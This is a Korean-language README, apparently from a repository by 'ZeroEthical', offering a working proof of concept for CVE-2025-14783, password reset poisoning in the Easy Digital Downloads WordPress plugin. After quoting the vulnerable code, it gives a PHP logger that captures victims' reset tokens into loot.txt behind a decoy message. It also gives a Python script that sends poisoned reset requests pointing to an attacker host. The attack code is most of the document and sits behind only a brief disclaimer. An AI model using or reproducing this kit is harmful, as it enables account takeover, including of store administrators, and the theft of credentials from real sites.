
🧨 CVE-2025-14783: Easy Digital Downloads 계정 탈취 PoC
"신뢰는 가장 악용 가능한 보안 결함이다."
이 저장소는 WordPress 플러그인 Easy Digital Downloads (EDD) (버전 <= 3.6.2)의 심각한 비밀번호 재설정 중독(Password Reset Poisoning) 취약점 CVE-2025-14783에 대한 기능적 개념 증명(PoC)을 포함합니다.
비밀번호 재설정 요청 과정에서 edd_redirect 매개변수에 대한 검증 부재로 인해, 인증되지 않은 원격 공격자는 악성 도메인을 주입할 수 있습니다. 이로 인해 상점에서 보낸 합법적인 이메일에는 공격자의 서버를 가리키는 재설정 링크가 포함되어, 액세스 토큰(key)이 유출되고 관리자 계정을 포함한 완전한 **계정 탈취(ATO)**가 가능해집니다.
취약점은 이메일 내 재설정 URL을 구성하는 함수에 있습니다. 취약한 코드는 esc_url_raw()를 사용하여 입력을 "정화"하지만 대상 호스트를 검증하지 않습니다.
// 개발자는 esc_url_raw가 충분한 보안이라고 믿었습니다... 치명적인 실수입니다.
$message = str_replace(
'{password_reset_link}',
add_query_arg(
array(
'edd_action' => 'password_reset_requested',
'key' => $key,
'login' => rawurlencode( $user_login ),
),
esc_url_raw( $_POST['edd_redirect'] ) // <--- 주입 지점
),
$message
);
$_POST['edd_redirect']를 제어함으로써 생성된 URL의 기준을 제어할 수 있습니다.
requests 라이브러리 (pip install requests)다음 PHP 스크립트(logger.php)를 악성 서버에 업로드하여 피해자의 토큰을 가로챕니다.
<?php
// logger.php - 토큰과 사용자 캡처
$key = $_GET['key'] ?? '';
$login = $_GET['login'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'];
$date = date('Y-m-d H:i:s');
if ($key && $login) {
$log = "[$date] TARGET: $login | TOKEN: $key | IP: $ip" . PHP_EOL;
file_put_contents('loot.txt', $log, FILE_APPEND);
echo "System maintenance. Please try again later."; // 기본적인 사회 공학
}
?>
목표를 설정한 후 exploit.py 스크립트를 편집하고 실행합니다.
python3 exploit.py
exploit.py)import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# 설정
TARGET_URL = "http://vulnerable-shop.com/" # 상점의 루트 URL
VICTIM_EMAIL = "[email protected]"
ATTACKER_HOST = "http://tu-servidor-malicioso.com/logger.php"
def poison_reset_link():
print(f"[*] 대상: {TARGET_URL}")
print(f"[*] 피해자: {VICTIM_EMAIL}")
print(f"[*] 링크 중독 대상: {ATTACKER_HOST}")
# 리디렉션을 주입하기 위한 페이로드
data = {
'edd_action': 'user_send_password_reset',
'user_email': VICTIM_EMAIL,
'edd_redirect': ATTACKER_HOST
}
try:
# 메인 엔드포인트(또는 EDD가 POST를 수신하는 곳)로 요청 전송
r = requests.post(TARGET_URL, data=data, verify=False, timeout=10)
if r.status_code == 200:
print("[+] 성공! 중독된 이메일이 전송되었습니다.")
print("[*] 이제 피해자가 이메일의 링크를 클릭할 때까지 기다리십시오.")
print("[*] 서버에서 'loot.txt'를 확인하여 토큰을 획득하십시오.")
else:
print(f"[-] 실패. 상태 코드: {r.status_code}")
except Exception as e:
print(f"[!] 오류: {e}")
if __name__ == "__main__":
poison_reset_link()
| 기밀성 | 무결성 | 가용성 |
|---|---|---|
| 높음 🟥 | 높음 🟥 | 낮음 🟩 |
성공적인 공격자는 다음을 수행할 수 있습니다:
이 소프트웨어는 교육 및 보안 연구 목적으로만 제공됩니다.
저자(ZeroEthical)는 이 정보의 오용에 대해 책임을 지지 않습니다.
사전 서면 동의 없이 목표를 공격하는 것은 불법이며 심각한 법적 조치를 초래할 수 있습니다.
통제된 환경에서 자신의 책임 하에 사용하십시오.
제공: ZeroEthical
"우리는 취약점을 수정하지 않고, 시연합니다."